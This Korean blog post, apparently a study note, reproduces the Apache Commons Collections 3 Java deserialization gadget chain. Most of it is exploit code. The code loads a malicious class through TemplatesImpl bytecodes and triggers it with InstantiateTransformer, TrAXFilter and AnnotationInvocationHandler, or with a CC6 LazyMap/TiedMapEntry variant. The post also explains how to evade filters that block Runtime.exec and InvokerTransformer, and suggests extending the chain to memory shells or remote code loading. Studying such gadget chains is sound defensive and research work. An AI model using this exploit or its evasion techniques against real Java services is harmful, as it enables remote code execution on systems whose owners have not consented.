Common Collections 3의 재현 및 필터링 회피 기법

Common Collections 3(C3)에서의 악성 코드 실행을 위한 복제 및 방어 조치 회피 전략에 대해 설명한다. 이 글은 이전의 CC1, CC6 및 동적 바이트코드 로딩 기법을 기반으로 한다.

필터링된 메서드 대응: Runtime.exec 차단 시 해결책

기존의 CC 체인은 대부분 transform() 함수를 통해 Runtime.getRuntime()를 호출하는 구조로 구성된다. 그러나 exec, Runtime.class 등의 키워드가 금지되면 일반적인 접근이 불가능해진다. 이 경우, 동적 바이트코드 로딩 기법을 활용하여 실행 컨텍스트를 우회할 수 있다.

동적 바이트코드 사용: TemplatesImpl 기반 실행

TemplatesImpl 클래스는 _bytecodes 필드를 통해 외부에서 로드한 바이트코드를 직접 실행할 수 있는 특성을 가지고 있다. 이를 이용해 악성 클래스(예: evil.class)를 로드하고, newTransformer() 호출 시 자동으로 실행되도록 구성한다.


package org.com.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {

    public static void main(String[] args) throws Exception {
        // 악성 바이트코드 로드
        byte[] maliciousCode = Files.readAllBytes(Paths.get("E:\\java학습\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{maliciousCode});
        setFieldValue(templates, "_name", "Hello");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // ChainedTransformer 구성: TemplatesImpl → newTransformer()
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "value");

        Map outerMap = TransformedMap.decorate(innerMap, null, chain);

        // AnnotationInvocationHandler를 통한 역직렬화 트리거
        Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object handler = constructor.newInstance(Retention.class, outerMap);

        // 직렬화 후 역직렬화
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = null;

        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) throw new NoSuchFieldException(fieldName);

        field.setAccessible(true);
        field.set(obj, value);
    }
}
    

InvokerTransformer 제거: InstantiateTransformer 활용

만약 InvokerTransformer 자체가 차단된다면, 대신 InstantiateTransformer를 사용하여 클래스 생성자를 직접 호출할 수 있다. 이는 ChainedTransformertransform() 메서드 내에서 newInstance()를 통해 객체 인스턴스화를 수행하게 된다.

특히 TrAXFilterTemplates 인스턴스를 생성자 파라미터로 받으며, 이때 newTransformer()가 자동으로 실행되는 구조로 설계되어 있다. 따라서 InvokerTransformer 없이도 원격 명령 실행이 가능하다.

버전 호환성 확보: CC6와의 결합

기존의 TransformedMap 기반 구조는 특정 버전에서만 작동할 수 있다. 이를 보완하기 위해 LazyMapTiedMapEntry를 활용한 CC6 기법을 추가하여, 더 넓은 환경에서의 호환성을 확보한다.


// ... (중략)

        // LazyMap + TiedMapEntry를 사용한 고급 트리거
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(entry, "valuevalue");
        outerMap.clear(); // 트리거를 위한 상태 초기화

        // ChainedTransformer의 iTransformers 필드를 직접 수정
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, transformers);

        // 최종 직렬화
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    

핵심 요약: 세 가지 단계의 공격 모델

  1. 공격 코드 삽입: TemplatesImpl_bytecodes 필드에 악성 클래스를 주입하여 실행 가능한 바이트코드를 포함시킨다.
  2. 실행 트리거: AnnotationInvocationHandler 등에서 transform()이 호출되도록 하는 조건을 구성한다.
  3. 비즈니스 로직 회피: InvokerTransformer 대신 InstantiateTransformerTrAXFilter를 조합하여 런타임 검사 및 필터링을 우회한다.

이러한 기법들은 다양한 조합으로 확장될 수 있으며, 예를 들어 명령 실행 대신 메모리 마스크 또는 원격 코드 로딩 등을 적용할 수도 있다. 핵심은 유연한 구성 능력과 사고의 확장성이다.

태그: Common Collections TemplatesImpl TrAXFilter InstantiateTransformer CC6

6월 1일 21:58에 게시됨